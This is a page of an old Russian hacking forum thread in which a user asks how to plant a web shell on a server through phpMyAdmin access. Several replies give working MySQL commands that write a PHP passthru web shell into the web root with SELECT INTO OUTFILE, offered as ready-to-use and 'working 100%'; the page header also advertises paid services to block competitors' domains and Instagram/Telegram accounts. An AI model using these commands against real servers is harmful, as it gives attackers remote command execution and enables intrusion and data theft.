Форум АНТИЧАТ

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
PhpMyAdmin

Страница 1 из 3

Опции темы

Поиск в этой теме

Опции просмотра

PhpMyAdmin

14.03.2006, 18:13

~~dimauz~~

Banned

Регистрация: 20.02.2006

Сообщений: 38

Провел на форуме:
307585

Репутация: 2

PhpMyAdmin

Возможно ли закачать на сервер удаленный веб шелл имея доступ к phpmyadmin ?

14.03.2006, 18:21

GreenBear

наркоман с медалью

Регистрация: 07.05.2005

Сообщений: 3,704

Провел на форуме:
19975136

Репутация: 4536

Отправить сообщение для GreenBear с помощью ICQ

UPDATE table SET hz='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT hzINTO OUTFILE '/home/user/www/shell.php' FROM table where id=1;

__________________
Фреймворк для спамера :(
Услуги программирования

14.03.2006, 19:44

~~dimauz~~

Banned

Регистрация: 20.02.2006

Сообщений: 38

Провел на форуме:
307585

Репутация: 2

Цитата:

Сообщение от Green_Bear

UPDATE table SET hz='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT hzINTO OUTFILE '/home/user/www/shell.php' FROM table where id=1;

Не получается ... возможно я что-то делаю не так

14.03.2006, 20:10

GreenBear

наркоман с медалью

Регистрация: 07.05.2005

Сообщений: 3,704

Провел на форуме:
19975136

Репутация: 4536

как это не работает?
попробуй так... раз там понять не можеш.

Код:

CREATE TABLE `shell` (s TEXT);
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
SELECT `s` INTO OUTFILE '/home/user/www/shell.php' FROM `shell`;
DROP TABLE `shell`;

работает на 100% =)
/home/user/www/shell.php
замени на свой путь...

__________________
Фреймворк для спамера :(
Услуги программирования

14.03.2006, 20:16

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

Провел на форуме:
5957900

Репутация: 561

UPDATE `существующая таблица` SET `существующий параметер`='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT `существующая таблица`, `существующий параметер` into OUTFILE '/home/user/полный серверный путь/shell.php' FROM существующая таблица where id=1;

Попробовал объяснить подробней.

Советую почитать как правильно задавать вопросы в технических форумах.

__________________
Full DNS report

14.03.2006, 20:20

~~KEZ~~

Banned

Регистрация: 18.05.2005

Сообщений: 1,981

Провел на форуме:
1941233

Репутация: 2726

Цитата:

Не получается ... возможно я что-то делаю не так

Дело в том что нужно не втупую переписать код что тебе дал грин_бир а хотябы немного подумать, сменить названия директорий, к примеру..мдаа

14.03.2006, 20:28

~~dimauz~~

Banned

Регистрация: 20.02.2006

Сообщений: 38

Провел на форуме:
307585

Репутация: 2

Спасибо за помощь. Уже разобрался

16.03.2006, 15:10

c411k

Reservists Of Antichat - Level 6

Регистрация: 16.07.2005

Сообщений: 653

Провел на форуме:
8854279

Репутация: 2727

SELECT '<? passthru("$cmd"); ?>' into OUTFILE "/home/hosting/wwwdata/sm.php";

04.04.2006, 10:46

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

Провел на форуме:
6828219

Репутация: 2274

Порылся по форуму, нащёл эту тему... Я хочу замутить такую штуку в MSSQL 2000 При любом расклаже выдаёт это Line 2: Incorrect syntax near 'C:/test_shell.php'

#10

24.01.2007, 10:51

~FoX~

Участник форума

Регистрация: 26.09.2006

Сообщений: 111

Провел на форуме:
2530514

Репутация: 78

разжуйте для noooба плз

Последний раз редактировалось ~FoX~; 24.01.2007 в 10:57..

Страница 1 из 3

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Залить remview.php через phpMyAdmin	Grom	PHP, PERL, MySQL, JavaScript	8	05.02.2006 00:19
phpmyadmin	dyx	Болталка	1	27.04.2005 17:04

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход